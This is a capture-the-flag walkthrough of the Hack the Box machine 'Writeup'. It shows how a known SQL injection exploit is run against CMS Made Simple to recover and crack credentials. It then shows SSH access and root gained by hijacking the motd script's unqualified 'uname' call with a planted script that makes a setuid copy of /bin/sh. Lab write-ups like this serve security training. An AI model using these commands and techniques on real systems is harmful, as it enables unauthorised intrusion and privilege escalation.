Writeup
Writeup is an easy Linux machine from Hack the Box. Here is the tldr;
- There is a DoS protection service blocking most of our automated recon tools, but in robots.txt we find one entry for “/writeup/”
- After some digging we discover the site is built with CMS Made Simple we are able to find an exploit to take advantage of a vulnerability that gives us a username and password
- The credentials we found don’t let us log in to the CMS, but it does work with SSH
- We discover were part of the ‘staff’ group and are allowed to write to
usr/local/bin
andusr/local/sbin
- With PSPY, we discover a script that is run by root every time someone logs in with ssh. It does not have an absolute path defined.
- We create a new malicious script in
/usr/local/sbin
that copies/bin/sh
to/tmp
and sets execute and suid permissions.- Log in through ssh again to trigger the script, run the copy of
sh
in our/tmp
directory. We’re root!
Enumeration
Let’s start of with a quick nmap scan.
1
2
3
4
5
6
7
8
9
10
11
┌──(dimondsec㉿hackbook)-[~/Documents/HTB/writeup]
└─$ nmap 10.10.10.138
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-05 15:46 MST
Nmap scan report for 10.10.10.138# The Site Configuration
Host is up (0.067s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds
All we see are ports 22 and 80 open, so let’s try opening it in a browser to see what we can find. At the top of the page, we find a warning that the page is protected by some sort of DoS protection script that watches for 40x errors and bans bad IPs, so we’ll want to avoid any automated scans so that we don’t find ourselves banned.
At the bottom of the page we also see a note that says the page was “hand-crafted with vi.” This lets us know that the page likely was coded by hand and most likely wasn’t generated by any sort of CMS.
With manual enumeration, I discovered that there is a robots.txt file with one disallowed entry, “/writeup/”
On the /writeup page, we find links to a few unfinished HTB writeups as well as a note at the bottom that the “Pages are hand-crafted with VIM. NOT.” This certainly feels like a hint that this part of the site IS using some kind of CMS, so let’s dig in a little bit.
If we view the source code for the page, we can see that it was made using CMS Made Simple, with a copyright date of 2004 - 2019.
I’m not super familiar with CMS Made Simple, but after a quick Google search we’re able to find that it is an open source CMS. Not only can we download the source code and run a version on our machine, but we can actually check out the latest version in the Subversion repository through a link of their website (https://www.cmsmadesimple.org/downloads/cmsms).
As I was looking through the files, I discovered a CHANGELOG.txt file in the /doc directory that contains a version number.
Will we be lucky enough to find that same file on the writeup page? The answer is yes! In 10.10.10.138/writeup/doc/CHAGELOG.txt we see that this site is running CMS Made Simple version 2.2.9.1.
Let’s look in searchsploit and see if there are any known exploits for this version.
1
2
┌──(dimondsec㉿hackbook)-[~/Documents/HTB/writeup]
└─$ searchsploit cms made simple
It appears that there is a SQL injection that will likely work for the version running on this box.
Foothold
Let’s create a copy of the script in our current directory.
1
2
┌──(dimondsec㉿hackbook)-[~/Documents/HTB/writeup]
└─$ searchsploit -m php/webapps/46635.py
If we open up the file in a text editor, we can see that we need to provide it with the URL as an argument. It looks like it is using SQL injection to retreive usernames and password hashes and is even able to crack the passwords. Let’s fire it up and see what happens.
The script is written in python 2, so I set up a quick python virtual environment to run it in.
1
2
3
4
┌──(dimondsec㉿hackbook)-[~/Documents/HTB/writeup]
└─$ virtualenv writeup
┌──(dimondsec㉿hackbook)-[~/Documents/HTB/writeup]
└─$ source writeup/bin/activate
Then run the script with the URL and specify a wordlist so that it will crack the hash for us. You could run it with only the url and then use hashcat to crack the hash if you would like, but since it’s an option I ran with it. Make sure to use the url for the writeup page, or you will trigger the DoS protection script and be banned for a little bit.
1
2
┌──(writeup)─(dimondsec㉿hackbook)-[~/Documents/HTB/writeup]
└─$ python 46635.py --url http://10.10.10.138/writeup --crack -w /usr/share/wordlists/rockyou.txt
It’s a little slow, but after a few minutes we’ll see that it found a username and password hash/salt and that it was successfully able to crack it.
1
2
3
4
5
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9
User
While looking through the files earlier I discovered a login page at /writeup/admin (you could also discover this with something like gobuster), but the credentials we found didn’t work. Let’s try logging in with ssh.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(dimondsec㉿hackbook)-[~/Documents/HTB/writeup]
└─$ ssh jkr@10.10.10.138
jkr@10.10.10.138s password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jkr@writeup:~$
Success!! We’re in, and right away are able to find the user flag.
Privilege Escalation
After logging in, sudo -l
shows that we are unable to run sudo as jkr. Running id
does show us something interesting though:
1
2
jkr@writeup:~$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)
The group staff
is a non-standard group, and we are allowed to write to usr/local/bin
and usr/local/sbin
.
1
2
3
jkr@writeup:~$ ls -ld /usr/local/bin /usr/local/sbin
drwx-wsr-x 2 root staff 20480 Apr 19 2019 /usr/local/bin
drwx-wsr-x 2 root staff 12288 Apr 19 2019 /usr/local/sbin
Both of these locations are in root’s $PATH
, so if we can find something being run by root we can add something here with the same name and it would run as root.
PSPY
Let’s see if we can figure out what’s happening on the box to see what we have to work with. Let’s start by downloading the latest version of PSPY at https://github.com/DominicBreuker/pspy. Then we’ll create a www directory and spin up a simple python server on our Kali machine.
1
2
3
┌──(dimondsec㉿hackbook)-[~/Documents/HTB/writeup/www]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Then, in our other shell as jkr, run wget and download pspy to the machine.
1
2
3
4
5
6
7
8
9
10
jkr@writeup:/tmp$ wget http://10.10.14.5/pspy64
--2023-03-05 16:41:34-- http://10.10.14.5/pspy64
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[=========================================================================>] 2.96M 2.88MB/s in 1.0s
2023-03-05 16:41:35 (2.88 MB/s) - ‘pspy64’ saved [3104768/3104768]
Next, we need to make it executable with chmod +x pspy64
and run it ./pspy64
.
First off, we see /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1
being run, but that doesn’t seem to do too much for us since we can’t access the root directory. If we open a new shell and ssh in to the box again, we see a new process being run sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
.
Hijacking
If we look in the /etc/update-motd.d
directory, we see only one file: 10-uname
1
2
3
4
5
6
jkr@writeup:/tmp$ cd /etc/update-motd.d/
jkr@writeup:/etc/update-motd.d$ ls
10-uname
jkr@writeup:/etc/update-motd.d$ cat 10-uname
#!/bin/sh
uname -rnsom
This script just runs uname
, and luckily for us it’s absolute path has not been defined. Remeber how we discovered earlier that we could write to /usr/local/bin
and /usr/local/sbin
? This will come in handy now, as we can create a new script that will be run as root.
Root!
Our malicious file is going to make a copy of /bin/sh
in our /tmp
directory and add execute and setuid permissions so that we can run it as root.
1
2
3
jkr@writeup:/tmp$ echo '#!/bin/sh' > /usr/local/sbin/uname
jkr@writeup:/tmp$ echo 'cp /bin/sh /tmp/rootsh; chmod +xs /tmp/rootsh' >> /usr/local/sbin/uname
jkr@writeup:/tmp$ chmod +x /usr/local/sbin/uname
Now, let’s login with ssh again and we should be able to run sh
as root.
1
2
3
4
5
jkr@writeup:/tmp$ ls
pspy64 rootsh vmware-root
jkr@writeup:/tmp$ ./rootsh
# id
uid=1000(jkr) gid=1000(jkr) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev),1000(jkr)
We have root! Our uid
and gid
are still 1000, but our euid
and egid
are 0 and we’re part of the root
group, so we are able to get the flag.